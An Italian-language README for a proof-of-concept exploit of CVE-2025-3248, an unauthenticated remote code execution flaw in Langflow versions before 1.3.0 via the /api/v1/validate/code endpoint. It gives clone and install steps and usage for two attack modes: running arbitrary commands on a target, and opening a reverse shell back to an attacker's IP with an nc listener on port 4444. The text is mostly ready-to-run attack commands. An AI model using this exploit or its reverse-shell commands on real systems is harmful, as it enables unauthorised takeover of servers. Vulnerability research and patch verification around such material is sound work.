
PoC per CVE-2025-3248: RCE non autenticata in Langflow < 1.3.0 tramite /api/v1/validate/code.
Un proof-of-concept che dimostra una vulnerabilità di esecuzione remota di codice nell'endpoint di validazione del codice di Langflow. La vulnerabilità interessa le versioni di Langflow precedenti alla 1.3.0 e consente a utenti non autenticati di eseguire codice arbitrario tramite richieste HTTP appositamente predisposte.
/api/v1/validate/coderequestscoloramagit clone https://github.com/preemware/langflow-exploit
cd langflow-exploit
pip install requests colorama
L'exploit supporta due modalità di funzionamento:
Esegue un singolo comando sul sistema target:
python3 cve-2025-3248.py cmd <target_url> "<command>"
Esempio:
python3 cve-2025-3248.py cmd http://target:7860 "id"
Avvia una shell interattiva inversa:
nc -lvnp 4444
python3 cve-2025-3248.py shell <target_url> <your_ip> <your_port>
Esempio:
python3 cve-2025-3248.py shell http://target:7860 10.0.0.5 4444